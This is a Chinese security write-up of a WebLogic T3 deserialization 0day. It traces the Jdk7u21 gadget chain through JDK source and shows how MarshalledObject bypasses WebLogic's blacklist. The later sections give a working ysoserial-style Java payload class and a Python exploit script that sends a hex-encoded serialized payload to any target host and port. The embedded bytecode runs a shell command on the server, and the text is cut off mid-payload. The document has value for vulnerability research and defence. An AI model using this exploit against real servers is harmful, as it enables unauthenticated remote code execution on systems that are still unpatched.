查看原文
其他

一步一步回顾分析攻防演习中的 WebLogic T3 反序列化 0day 漏洞

代码安全实验室 代码卫士 2022-05-23

 聚焦源代码安全,网罗国内外最新资讯!


本文内容共分六部分:

一、前言

二、Jdk7u21 的 PoC 分析

1、第一部分利用链分析

2、第二部分利用链分析

三、MarshalledObject分析

四、PoC 构造

五、实验复现

六、补丁分析


一、前言


本次攻防演习期间,有人发现 Weblogic T3反序列化0day漏洞。攻击者可在原Jdk7u21 POC 基础上,加上 java.rmi.MarshalledObject 绕过黑名单,达到入侵目的,具体如下。


二、Jdk7u21的PoC分析


gadget 如下:

HashSet.readObject() HashMap.put() HashMap.hash()   *.hashCode() (计算第一个对象hash值)HashSet.readObject() HashMap.put() HashMap.hash() *.hashcode() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.hashCodeImpl() HashMap.put() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() TemplatesImpl.getOutputProperties() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TemplatesImpl$TransletClassLoader TemplatesImpl.getTransletInstance() Class.newInstance() Runtime.exec()



1、分析第一部分利用链

Jdk7u21的第一部分利用链如下。

HashSet.readObject() HashMap.put() HashMap.hash() *.hashCode()(计算第一个对象hash值)HashSet.readObject() HashMap.put() HashMap.hash() *.hashcode() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.hashCodeImpl() HashMap.put() AnnotationInvocationHandler.invoke()   AnnotationInvocationHandler.equalsImpl()


在对 LinkedHashSet 反序列化过程中,会进入 HashSet.readObject() 函数,关键代码块如下。

/ Read in all elements in the proper order.for (int i=0; i<size; i++) { E e = (E) s.readObject(); map.put(e, PRESENT);}


根据 POC 信息,可知该函数会依次读取 LinkedHashSettemplates proxy对象,并将它们加入 map中。为什么需要加载两个对象呢?继续进入map.put() 函数,如下。

public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } }
modCount++; addEntry(hash, key, value, i); return null;}


该函数会计算存储进map的第一个对象Templates的Hash值,进入hash(key),如下。

final int hash(Object k) { int h = 0; if (useAltHashing) { if (k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h = hashSeed; }
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by // constant multiples at each bit position have a bounded // number of collisions (approximately 8 at default load factor). h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4);}


程序会执行常规hash运算,注意,其中的 k.hashCode() 调用了系统函数;而如果构造动态代理,编写或寻找到合适代理类,则极有可能使多个存储进map的对象的hash值一致。返回至HashMap.put() 函数,继续分析,进入至indexFor(hash, table.length) 函数,如下。

/** * Returns index for hash code h. */static int indexFor(int h, int length) { return h & (length-1);}


table对象的原定义代码是table[bucketIndex] = new Entry<>(hash, key, value, e),负责保存 map 中每个对象及 hash 值等信息。此函数没有保存对象信息功能,仅仅负责统计返回当前对象在 table 中的索引值。随后返回至HashMap.put() 函数。

随后,如当前对象不在 table 中,则不进入循环,而是进入 addEntry(hash, key, value, i); 且在此期间进入父类方法,最终当前对象被保存至 table 中,关键代码如下。

void createEntry(int hash, K key, V value, int bucketIndex) { HashMap.Entry<K,V> old = table[bucketIndex]; Entry<K,V> e = new Entry<>(hash, key, value, old); table[bucketIndex] = e; e.addBefore(header); size++;}


保存完第一个对象后,程序返回到 HashSet.readObject() 方法,并在 map 中添加第二个对象。如第二个对象是代理对象,则其 hash 值可能与前一个对象的hash 值碰撞,从而有利于绕过代码的验证逻辑,便于未来开展入侵测试;如POC中存在第二个代理对象,则会继续进入 map.put()

进入 hash(key),计算第二个代理对象的hash值,进入 HashMap.hash() 函数。

在 POC 中,第二个代理对象的代理类是 AnnotationInvocationHandler,因此执行 k.hashCode() 时,会首先进入 AnnotationInvocationHandler.invoke() 方法,如下。

public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else { assert var5.length == 0;
if (var4.equals("toString")) { return this.toStringImpl(); } else if (var4.equals("hashCode")) { return this.hashCodeImpl(); } else if (var4.equals("annotationType")) { return this.type; } else { Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); }
return var6; } } }}


根据方法名进入this.hashCodeImpl();,相关的代码块如下。

private int hashCodeImpl() { int var1 = 0;
Entry var3; for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Entry)var2.next(); }
return var1;}private static int memberValueHashCode(Object var0) { Class var1 = var0.getClass(); if (!var1.isArray()) { return var0.hashCode(); } else if (var1 == byte[].class) { return Arrays.hashCode((byte[])((byte[])var0)); } else if (var1 == char[].class) { return Arrays.hashCode((char[])((char[])var0)); } else if (var1 == double[].class) { return Arrays.hashCode((double[])((double[])var0)); } else if (var1 == float[].class) { return Arrays.hashCode((float[])((float[])var0)); } else if (var1 == int[].class) { return Arrays.hashCode((int[])((int[])var0)); } else if (var1 == long[].class) { return Arrays.hashCode((long[])((long[])var0)); } else if (var1 == short[].class) { return Arrays.hashCode((short[])((short[])var0)); } else { return var1 == boolean[].class ? Arrays.hashCode((boolean[])((boolean[])var0)) : Arrays.hashCode((Object[])((Object[])var0)); }}


var3信息来自AnnotationInvocationHandlermemberValues成员变量:如var3 中只有一条map信息,且该mapkey为"f5a5a608"而value是加入map的第一个对象,则经调试分析发现,此时会发生两个对象hash值碰撞的情况。返回至 HashMap.put() 继续分析。

在循环代码块中,存在关键比较逻辑,如下。

if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue;}


该逻辑首先会比较两个对象的hash值是否相等:根据 PoC 可知两值相等,并且会执行至 key.equals(k)k是第一个对象,key是第二个代理对象,则会执行代理类invoke()方法。POC中的代理类是AnnotationInvocationHandler,则进入AnnotationInvocationHandler.invoke(),随后再进入this.equalsImpl(var3[0]),如下。

private Boolean equalsImpl(Object var1) { if (var1 == this) { return true; } else if (!this.type.isInstance(var1)) { return false; } else { Method[] var2 = this.getMemberMethods(); int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } }
if (!memberValueEquals(var7, var8)) { return false; } }
return true; }}


Var5表示代理类的第一个方法,var1 表示前述的第一个对象,type 成员变量必须是第一个成员变量。根据代码 var5.invoke(var1) 可知,此方法必须是无参的,而POC中代理类 AnnotationInvocationHandler 的第一个方法getOutputProperties() 符合要求,因此进入TemplatesImpl.getOutputProperties(),如下。

public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; }}


总体而言,第一部分链需同时满足如下关键条件:

  • LinkedHashSet 需要依次加入类对象和一个代理对象,设法使两个对象存在hash 碰撞情况;

  • 代理对象的代理类 AnnotationInvocationHandler 的第二个成员变量仅存储一个 map 结构数据,key 为"f5a5a608",value 是第一个类对象;

  • 代理类 AnnotationInvocationHandlertype 成员变量必须是第一个类对象可转化的类;以及

  • 代理类的待利用方法需要是无参的。


2、 分析第二部分利用链

Jdk7u21 的第二部分利用链如下。

TemplatesImpl.getOutputProperties() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TemplatesImpl$TransletClassLoader TemplatesImpl.getTransletInstance() Class.newInstance() Runtime.exec()


会在创建TransformerImpl 类过程中调用 getTransletInstance() 函数,函数信息如下。

/** * This method generates an instance of the translet class that is * wrapped inside this Template. The translet instance will later * be wrapped inside a Transformer object. */private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setServicesMechnism(_useServicesMechanism); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); }
return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); }}


从中可知 _name 变量不能为 null,否则程序中断;那么当 _class 变量为 null时,会调用defineTransletClasses()执行什么重要指令呢?进入defineTransletClasses(),如下。

/** * Defines the translet class and auxiliary classes. * Returns a reference to the Class object that defines the main class */private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); }
TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader()); } });
try { final int classCount = _bytecodes.length; _class = new Class[classCount];
if (classCount > 1) { _auxClasses = new Hashtable(); }
for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass();
// Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } }
if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); }}


由此可知在当前情况下,_bytecodes 不能为 null,否则程序报错终止;随后调用 new TransletClassLoader(ObjectFactory.findClassLoader()) 加载信息,但具体可以加载什么呢?继续分析进入下面代码块。

static final class TransletClassLoader extends ClassLoader { TransletClassLoader(ClassLoader parent) { super(parent); }
/** * Access to final protected superclass member from outer class. */ Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); }}


TransletClassLoader 继承自ClassLoader,主要功能包括根据字节码文件加载类的defineClass函数,因此这里成功创建并返回了TransletClassLoader类加载器。返回到defineTransletClasses()函数继续分析。

loader 即为创建的 TransletClassLoader 类加载器;_class 变量是自发创建的类数组,_auxClasses 变量是 hash 表;后续关键代码如下。

for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass();
// Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); }}
if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString());}


在循环代码块中,采用loader加载 _bytecodes[i],说明 _bytecodes 变量是一个包含多个类的字节码数组;随后会将 _bytecodes[i] 的父类与ABSTRACT_TRANSLET(ABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet") 比较,相等则 _transletIndexi,否则将类信息保存至 _auxClasses 变量。循环完毕后,根据语句可知_transletIndex 不能小于0,否则程序报错中断。因此,_bytecodes 中至少有一个类的父类是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。最终返回至 getTransletInstance() 函数继续分析,如下。

// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();


_class 变量包含多个加载的类,如果_transletIndex 变量是这些类中父类为ABSTRACT_TRANSLET 的类索引号,则会顺利实例化此类对象;然而,如果在此类构造函数中加入恶意代码则达到恶意利用的目的。

一言以蔽之,攻击者可以构造一个TemplatesImpl类对象,关键要求:

  • _name 变量不能为 null

  • _class=null;以及

  • _bytecodes 变量是字节码类数组,包含一个父类为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的恶意类。

当前,Jdk7u21 的 POC 符合要求。


三、MarshalledObject 分析


Weblogic 将上述调用链中的com.sun.org.apache.xalan.internal.xsltc.trax 加入黑名单后,库中的 TemplatesImpl 类等会被检测到,从而成功阻止 Jdk7u21的 PoC 遭入侵利用。新 0day 的 PoC主要应用了 MarshalledObject 类绕过黑名单的检测,利用过程和 Jdk7u21 PoC 类似:将 MarshalledObject 对象作为恶意类,在程序执行过程中调用到其 get() 方法,反序列化 objBytes 成员变量,而这一切只需预先在此成员变量中保存 Jdk7u21 PoC 序列化数据即可。

分析 MarshalledObject 类。符合要求的无参函数 get() 相关代码如下。

public T get() throws IOException, ClassNotFoundException { if (objBytes == null) // must have been a null object return null;
ByteArrayInputStream bin = new (objBytes); // locBytes is null if no annotations ByteArrayInputStream lin = (locBytes == null ? null : new ByteArrayInputStream(locBytes)); MarshalledObjectInputStream in = new MarshalledObjectInputStream(bin, lin); T obj = (T) in.readObject(); in.close(); return obj;}MarshalledObjectInputStream(InputStream objIn, InputStream locIn) throws IOException{ super(objIn); this.locIn = (locIn == null ? null : new ObjectInputStream(locIn));}


objBytes 变量不能为 null,程序可保存序列化后数据的 objBytes 变量 private byte[] objBytes = null; 至字节数组缓冲区bin变量,随后采用读入MarshalledObjectInputStream 对象,最后进入 in.reaObject() 方法。

因此,可将序列化恶意类对象保存至 objBytes 变量,当程序执行至 get() 方法时,即会调用 readObject() 解析执行恶意类对象。


四、POC构造


团队成员设计实现的 PoC 如下。

package ysoserial.payloads;
import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.JavaVersion;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates;import java.io.ByteArrayOutputStream;import java.io.ObjectOutput;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.rmi.MarshalledObject;import java.util.HashMap;import java.util.LinkedHashSet;import java.util.Map;
@SuppressWarnings({ "rawtypes", "unchecked" })@PayloadTest ( precondition = "isApplicableJavaVersion")@Dependencies()@Authors({ Authors.FROHOFF })public class Jdk7u21_0 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final MarshalledObject templates = new MarshalledObject(null);
// 序列化原始Jdk7u21obj Object obj = new Jdk7u21().getObject(command); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutput objectOutput = null; objectOutput = new ObjectOutputStream(byteArrayOutputStream); objectOutput.writeObject(obj); objectOutput.flush();
byte[] bytearray = byteArrayOutputStream.toByteArray(); Reflections.setFieldValue(templates, "objBytes", bytearray );
String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class); Map proxy = Gadgets.createProxy(tempHandler, Map.class); LinkedHashSet set = new LinkedHashSet(); // maintain order set.add(templates); set.add(proxy);
// Reflections.setFieldValue(templates, "locBytes", null); map.put(zeroHashCodeStr, templates); // swap in real object

return set; }
public static boolean isApplicableJavaVersion() { JavaVersion v = JavaVersion.getLocalVersion(); return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); }
public static void main(final String[] args) throws Exception { PayloadRunner.run(Jdk7u21_0.class, args); }
}


五、实验复现


在 JDK7u21、Weblogic12.1.3.0 上通过T3协议发送攻击脚本,成功在 tmp 文件夹创建文件,如下。


EXP 如下:

#!/usr/bin/python2import socketimport osimport sysimport structimport timeif len(sys.argv) < 2: print 'Usage: python %s <TARGET_HOST> <PORT>' % os.path.basename(sys.argv[0]) sys.exit() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.settimeout(5) server_address = (sys.argv[1], int(sys.argv[2]))print '[+] Connecting to %s port %s' % server_addresssock.connect(server_address) # Send headersheaders='t3 9.2.0\nAS:255\nHL:19\n\n'print 'sending "%s"' % headerssock.sendall(headers) data = sock.recv(1024)print >>sys.stderr, 'received "%s"' % data payloadObj='\xAC\xED\x00\x05\x73\x72\x00\x17\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4C\x69\x6E\x6B\x65\x64\x48\x61\x73\x68\x53\x65\x74\xD8\x6C\xD7\x5A\x95\xDD\x2A\x1E\x02\x00\x00\x78\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x53\x65\x74\xBA\x44\x85\x95\x96\xB8\xB7\x34\x03\x00\x00\x78\x70\x77\x0C\x00\x00\x00\x10\x3F\x40\x00\x00\x00\x00\x00\x02\x73\x72\x00\x19\x6A\x61\x76\x61\x2E\x72\x6D\x69\x2E\x4D\x61\x72\x73\x68\x61\x6C\x6C\x65\x64\x4F\x62\x6A\x65\x63\x74\x7C\xBD\x1E\x97\xED\x63\xFC\x3E\x02\x00\x03\x49\x00\x04\x68\x61\x73\x68\x5B\x00\x08\x6C\x6F\x63\x42\x79\x74\x65\x73\x74\x00\x02\x5B\x42\x5B\x00\x08\x6F\x62\x6A\x42\x79\x74\x65\x73\x71\x00\x7E\x00\x04\x78\x70\x00\x00\x00\x0D\x70\x75\x72\x00\x02\x5B\x42\xAC\xF3\x17\xF8\x06\x08\x54\xE0\x02\x00\x00\x78\x70\x00\x00\x0B\x8D\xAC\xED\x00\x05\x73\x72\x00\x17\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4C\x69\x6E\x6B\x65\x64\x48\x61\x73\x68\x53\x65\x74\xD8\x6C\xD7\x5A\x95\xDD\x2A\x1E\x02\x00\x00\x78\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x53\x65\x74\xBA\x44\x85\x95\x96\xB8\xB7\x34\x03\x00\x00\x78\x70\x77\x0C\x00\x00\x00\x10\x3F\x40\x00\x00\x00\x00\x00\x02\x73\x72\x00\x3A\x63\x6F\x6D\x2E\x73\x75\x6E\x2E\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x78\x61\x6C\x61\x6E\x2E\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2E\x78\x73\x6C\x74\x63\x2E\x74\x72\x61\x78\x2E\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x49\x6D\x70\x6C\x09\x57\x4F\xC1\x6E\xAC\xAB\x33\x03\x00\x06\x49\x00\x0D\x5F\x69\x6E\x64\x65\x6E\x74\x4E\x75\x6D\x62\x65\x72\x49\x00\x0E\x5F\x74\x72\x61\x6E\x73\x6C\x65\x74\x49\x6E\x64\x65\x78\x5B\x00\x0A\x5F\x62\x79\x74\x65\x63\x6F\x64\x65\x73\x74\x00\x03\x5B\x5B\x42\x5B\x00\x06\x5F\x63\x6C\x61\x73\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x4C\x00\x05\x5F\x6E\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x4C\x00\x11\x5F\x6F\x75\x74\x70\x75\x74\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x74\x00\x16\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x3B\x78\x70\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x75\x72\x00\x03\x5B\x5B\x42\x4B\xFD\x19\x15\x67\x67\xDB\x37\x02\x00\x00\x78\x70\x00\x00\x00\x02\x75\x72\x00\x02\x5B\x42\xAC\xF3\x17\xF8\x06\x08\x54\xE0\x02\x00\x00\x78\x70\x00\x00\x06\xA5\xCA\xFE\xBA\xBE\x00\x00\x00\x32\x00\x39\x0A\x00\x03\x00\x22\x07\x00\x37\x07\x00\x25\x07\x00\x26\x01\x00\x10\x73\x65\x72\x69\x61\x6C\x56\x65\x72\x73\x69\x6F\x6E\x55\x49\x44\x01\x00\x01\x4A\x01\x00\x0D\x43\x6F\x6E\x73\x74\x61\x6E\x74\x56\x61\x6C\x75\x65\x05\xAD\x20\x93\xF3\x91\xDD\xEF\x3E\x01\x00\x06\x3C\x69\x6E\x69\x74\x3E\x01\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6F\x64\x65\x01\x00\x0F\x4C\x69\x6E\x65\x4E\x75\x6D\x62\x65\x72\x54\x61\x62\x6C\x65\x01\x00\x12\x4C\x6F\x63\x61\x6C\x56\x61\x72\x69\x61\x62\x6C\x65\x54\x61\x62\x6C\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00\x13\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x01\x00\x0C\x49\x6E\x6E\x65\x72\x43\x6C\x61\x73\x73\x65\x73\x01\x00\x35\x4C\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x3B\x01\x00\x09\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\x01\x00\x72\x28\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x5B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x29\x56\x01\x00\x08\x64\x6F\x63\x75\x6D\x65\x6E\x74\x01\x00\x2D\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x01\x00\x08\x68\x61\x6E\x64\x6C\x65\x72\x73\x01\x00\x42\x5B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x01\x00\x0A\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x73\x07\x00\x27\x01\x00\xA6\x28\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x64\x74\x6D\x2F\x44\x54\x4D\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6F\x72\x3B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x29\x56\x01\x00\x08\x69\x74\x65\x72\x61\x74\x6F\x72\x01\x00\x35\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x64\x74\x6D\x2F\x44\x54\x4D\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6F\x72\x3B\x01\x00\x07\x68\x61\x6E\x64\x6C\x65\x72\x01\x00\x41\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x01\x00\x0A\x53\x6F\x75\x72\x63\x65\x46\x69\x6C\x65\x01\x00\x0C\x47\x61\x64\x67\x65\x74\x73\x2E\x6A\x61\x76\x61\x0C\x00\x0A\x00\x0B\x07\x00\x28\x01\x00\x33\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x01\x00\x40\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x72\x75\x6E\x74\x69\x6D\x65\x2F\x41\x62\x73\x74\x72\x61\x63\x74\x54\x72\x61\x6E\x73\x6C\x65\x74\x01\x00\x14\x6A\x61\x76\x61\x2F\x69\x6F\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x62\x6C\x65\x01\x00\x39\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x54\x72\x61\x6E\x73\x6C\x65\x74\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x01\x00\x1F\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x01\x00\x08\x3C\x63\x6C\x69\x6E\x69\x74\x3E\x01\x00\x11\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x52\x75\x6E\x74\x69\x6D\x65\x07\x00\x2A\x01\x00\x0A\x67\x65\x74\x52\x75\x6E\x74\x69\x6D\x65\x01\x00\x15\x28\x29\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x52\x75\x6E\x74\x69\x6D\x65\x3B\x0C\x00\x2C\x00\x2D\x0A\x00\x2B\x00\x2E\x01\x00\x0F\x74\x6F\x75\x63\x68\x20\x2F\x74\x6D\x70\x2F\x30\x34\x32\x32\x08\x00\x30\x01\x00\x04\x65\x78\x65\x63\x01\x00\x27\x28\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x29\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x50\x72\x6F\x63\x65\x73\x73\x3B\x0C\x00\x32\x00\x33\x0A\x00\x2B\x00\x34\x01\x00\x0D\x53\x74\x61\x63\x6B\x4D\x61\x70\x54\x61\x62\x6C\x65\x01\x00\x1E\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x50\x77\x6E\x65\x72\x31\x31\x37\x37\x34\x32\x34\x32\x39\x33\x31\x30\x33\x36\x38\x01\x00\x20\x4C\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x50\x77\x6E\x65\x72\x31\x31\x37\x37\x34\x32\x34\x32\x39\x33\x31\x30\x33\x36\x38\